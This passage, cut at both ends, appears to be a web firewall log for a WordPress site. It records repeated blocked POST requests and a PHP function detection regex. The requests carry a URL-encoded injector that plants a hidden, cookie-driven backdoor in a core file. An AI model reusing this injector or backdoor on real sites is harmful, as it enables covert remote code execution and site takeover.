20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:54:57","87.106.235.29","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> fl:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Category.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-75%252B75%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78-77%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B4%252B-1%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B24%252B-20%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524item%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524entry%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252726f0e34e%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524entry%2529%2529%2520%257B%2520%2524entry%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522restore_state%2522%253B%2520%257D%2520%2524fac%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524entry%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524entry%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524fac%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524entry%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524entry%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524property_set%2520%253D%2520%2522277d155e2f3100ec5a6e1123ead4e345%2522%253B%2520if%2520%2528%2521strncmp%2528%2524property_set%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522auth_exception_handler_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMzjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:4362\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\n\nfl=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Category.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-75%252B75%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78-77%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B4%252B-1%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B24%252B-20%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524item%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524entry%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252726f0e34e%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524entry%2529%2529%2520%257B%2520%2524entry%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522restore_state%2522%253B%2520%257D%2520%2524fac%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524entry%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524entry%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524fac%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524entry%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524entry%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524property_set%2520%253D%2520%2522277d155e2f3100ec5a6e1123ead4e345%2522%253B%2520if%2520%2528%2521strncmp%2528%2524property_set%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522auth_exception_handler_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:55:01","148.113.9.51","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> aY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Category.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-75%252B75%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78-77%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B4%252B-1%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B24%252B-20%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524item%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524entry%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252726f0e34e%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524entry%2529%2529%2520%257B%2520%2524entry%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522restore_state%2522%253B%2520%257D%2520%2524fac%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524entry%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524entry%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524fac%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524entry%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524entry%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524property_set%2520%253D%2520%2522277d155e2f3100ec5a6e1123ead4e345%2522%253B%2520if%2520%2528%2521strncmp%2528%2524property_set%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522auth_exception_handler_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLIxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:4362\n\naY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Category.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-75%252B75%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78-77%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B4%252B-1%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B24%252B-20%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524item%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524entry%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252726f0e34e%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524entry%2529%2529%2520%257B%2520%2524entry%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522restore_state%2522%253B%2520%257D%2520%2524fac%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524entry%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524entry%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524fac%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524entry%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524entry%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524property_set%2520%253D%2520%2522277d155e2f3100ec5a6e1123ead4e345%2522%253B%2520if%2520%2528%2521strncmp%2528%2524property_set%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522auth_exception_handler_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:55:09","98.130.43.189","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Category.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-75%252B75%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78-77%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B4%252B-1%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B24%252B-20%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524item%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524entry%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252726f0e34e%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524entry%2529%2529%2520%257B%2520%2524entry%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522restore_state%2522%253B%2520%257D%2520%2524fac%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524entry%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524entry%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524fac%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524entry%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524entry%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524property_set%2520%253D%2520%2522277d155e2f3100ec5a6e1123ead4e345%2522%253B%2520if%2520%2528%2521strncmp%2528%2524property_set%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522auth_exception_handler_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\naccept:*\/*\nsec-fetch-dest:document\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\ncontent-length:4385\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Category.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-75%252B75%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78-77%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B4%252B-1%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B24%252B-20%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524item%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524entry%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252726f0e34e%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524entry%2529%2529%2520%257B%2520%2524entry%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522restore_state%2522%253B%2520%257D%2520%2524fac%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524entry%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524entry%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524fac%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524entry%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524entry%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524property_set%2520%253D%2520%2522277d155e2f3100ec5a6e1123ead4e345%2522%253B%2520if%2520%2528%2521strncmp%2528%2524property_set%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522auth_exception_handler_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 19:55:19","190.92.169.79","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 